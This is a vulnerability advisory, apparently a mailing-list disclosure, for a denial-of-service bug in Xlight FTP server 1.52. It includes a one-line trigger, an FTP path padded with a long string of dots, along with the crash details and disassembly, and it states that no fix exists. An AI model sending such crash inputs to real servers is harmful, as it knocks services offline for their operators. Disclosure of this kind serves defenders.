Application:  Xlight ftp server
              http://www.xlightftpd.com

Version:      1.52

Bug:          Denial Of Service

Author:       intuit
              e-mail: intuit@linuxmail.org
              web/forum: http://code.unixserver.at


***********************************************************************

1. Description
2. The bug
3. The code
4. The fix

***********************************************************************

^^^^^^^^^^^^^^^^
1. Description:
^^^^^^^^^^^^^^^^

Vendor's Description:

"Xlight ftp server is a powerful ftp server with very small program size. Using its own unique algorithm, it could handle more users than other windows ftp servers. Besides its high performance, xlight ftp server also has a lot of unique features."



***********************************************************************

^^^^^^^^^^^^^^^^
2. The bug:
^^^^^^^^^^^^^^^^

Server Option "Enable log to screen" must be enabled.
After authorization the user can enter such line:

-----------------------------------------------------------------------
ftp://user@127.0.0.1/............................................................................................................................................................................................................../*/
-----------------------------------------------------------------------

Now if the administrator will look a bookmark "ftp log" on main window of FTP server, ftp server will crashed with error in comctl32.dll.

***********************************************************************

^^^^^^^^^^^^^^^^
3. The code:
^^^^^^^^^^^^^^^^

The mistake occurs here:

-----------------------------------------------------------------------
AppName: xlight.exe   AppVer: 0.0.0.0   ModName: comctl32.dll
ModVer: 5.82.2600.0   Offset: 0004c4f7
-----------------------------------------------------------------------

-----------------------------------------------------------------------
7738C4DB   mov         edx,dword ptr [esp+4]
7738C4DF   push        edi
7738C4E0   mov         edi,dword ptr [esp+10h]
7738C4E4   test        edi,edi
7738C4E6   mov         eax,edx
7738C4E8   jle         7738C511
7738C4EA   dec         edi
7738C4EB   test        edi,edi
7738C4ED   jle         7738C50B
7738C4EF   push        esi
7738C4F0   mov         esi,dword ptr [esp+10h]
7738C4F4   mov         cx,word ptr [esi]
7738C4F7   mov         word ptr [edx],cx       <<<  here server crashed
7738C4FA   inc         edx
7738C4FB   inc         edx
7738C4FC   inc         esi
7738C4FD   inc         esi
7738C4FE   test        cx,cx
7738C501   je          7738C508
7738C503   dec         edi
7738C504   test        edi,edi
7738C506   jg          7738C4F4
7738C508   pop         esi
7738C509   test        edi,edi
7738C50B   jne         7738C511
7738C50D   and         word ptr [edx],0
7738C511   pop         edi
7738C512   ret         0Ch
-----------------------------------------------------------------------

/*Tested on: Win XP Build 2600, Service Pack: None*/

***********************************************************************

^^^^^^^^^^^^^^^^
4. The fix:
^^^^^^^^^^^^^^^^

Not exist.

***********************************************************************

-- 
______________________________________________
Check out the latest SMS services @ http://www.linuxmail.org 
This allows you to send and receive SMS through your mailbox.


Powered by Outblaze